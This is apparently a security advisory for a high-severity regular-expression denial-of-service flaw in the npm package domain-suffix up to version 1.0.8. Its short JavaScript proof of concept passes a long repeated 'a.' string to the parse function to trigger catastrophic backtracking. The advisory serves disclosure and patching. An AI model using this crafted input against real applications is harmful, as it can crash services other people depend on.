GHSA-cqfh-c4c5-c2hgHighCVSS 7.5

domain-suffix RegEx Denial of Service

Published
March 28, 2024
Last Modified
September 3, 2025

🔗 CVE IDs covered (1)

📋 Description

RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.

PoC

async function exploit() {
   const domainsuffix = require(\"domain-suffix\");
   // Crafting a string that will cause excessive backtracking
   const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
   const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();

🎯 Affected products1

  • npm/domain-suffix:<= 1.0.8

🔗 References (4)